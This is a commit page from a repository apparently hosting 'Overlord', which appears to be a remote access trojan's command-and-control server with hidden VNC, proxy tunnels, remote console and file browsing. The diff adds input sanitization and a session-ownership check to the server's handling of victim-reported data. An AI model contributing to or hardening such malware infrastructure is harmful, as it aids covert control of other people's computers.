vxaboveground/overlord
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

fix potential dos attack and fix sanitation not being done

Browse Source
This commit is contained in:
KingKDot
2026-04-14 20:31:01 -05:00
parent 1807a94e9f
commit 7c6bcccda7
4 changed files with 40 additions and 29 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
+21 -17
View File
@@ -65,7 +65,7 @@ type WsLifecycleDeps = {
height?: number,
) => void;
handleNotificationScreenshotResult: (clientId: string, payload: any) => void;
handleConsoleOutput: (payload: any) => void;
handleConsoleOutput: (clientId: string, payload: any) => void;
handleFileBrowserMessage: (clientId: string, payload: any) => void;
handleProxyTunnelData: (clientId: string, connectionId: string, data: Uint8Array) => void;
handleProxyTunnelClose: (clientId: string, connectionId: string) => void;
@@ -290,20 +290,24 @@ export async function handleWebSocketMessage(
const countryRaw = geo?.country || (payload as any).country || "ZZ";
const country = /^[A-Z]{2}$/i.test(countryRaw) ? countryRaw.toUpperCase() : "ZZ";
const _s = (v: unknown, max = 256): string | undefined => {
if (typeof v !== "string") return undefined;
return v.replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, "").slice(0, max);
};
upsertClientRow({
id: resolvedId,
hwid: (payload as any).hwid || resolvedId,
hwid: _s((payload as any).hwid) || resolvedId,
role: "client",
ip: ip || undefined,
host: (payload as any).host || undefined,
os: (payload as any).os || undefined,
arch: (payload as any).arch || undefined,
version: (payload as any).version || undefined,
user: (payload as any).user || undefined,
host: _s((payload as any).host),
os: _s((payload as any).os),
arch: _s((payload as any).arch, 32),
version: _s((payload as any).version, 64),
user: _s((payload as any).user),
monitors: (payload as any).monitors || undefined,
cpu: (payload as any).cpu || undefined,
gpu: (payload as any).gpu || undefined,
ram: (payload as any).ram || undefined,
cpu: _s((payload as any).cpu),
gpu: _s((payload as any).gpu),
ram: _s((payload as any).ram, 64),
country,
lastSeen: Date.now(),
online: 0 as any,
@@ -319,17 +323,17 @@ export async function handleWebSocketMessage(
deps.notifyDashboard();
deps.notifyDashboardClientEvent("client_purgatory", {
id: resolvedId,
host: (payload as any).host || undefined,
user: (payload as any).user || undefined,
os: (payload as any).os || undefined,
host: _s((payload as any).host),
user: _s((payload as any).user),
os: _s((payload as any).os),
ip: ip || undefined,
country,
});
deps.broadcastClientEvent("client_purgatory", {
id: resolvedId,
host: (payload as any).host || undefined,
user: (payload as any).user || undefined,
os: (payload as any).os || undefined,
host: _s((payload as any).host),
user: _s((payload as any).user),
os: _s((payload as any).os),
ip: ip || undefined,
country,
});
@@ -468,7 +472,7 @@ export async function handleWebSocketMessage(
deps.handleNotificationScreenshotResult(client.id, payload);
break;
case "console_output":
deps.handleConsoleOutput(payload);
deps.handleConsoleOutput(client.id, payload);
break;
case "file_list_result":
case "file_download":
Overlord-Server/src/server/ws-console-rd-hvnc.ts
+2 -1
View File
@@ -911,11 +911,12 @@ export function handleConsoleViewerMessage(ws: ServerWebSocket<SocketData>, raw:
}
}
export function handleConsoleOutput(payload: any) {
export function handleConsoleOutput(clientId: string, payload: any) {
const sessionId = payload.sessionId as string;
if (!sessionId) return;
const session = sessionManager.getConsoleSession(sessionId);
if (!session) return;
if (session.clientId !== clientId) return;
const data = payload.data ? textDecoder.decode(payload.data as Uint8Array) : "";
safeSendViewer(session.viewer, {
type: "output",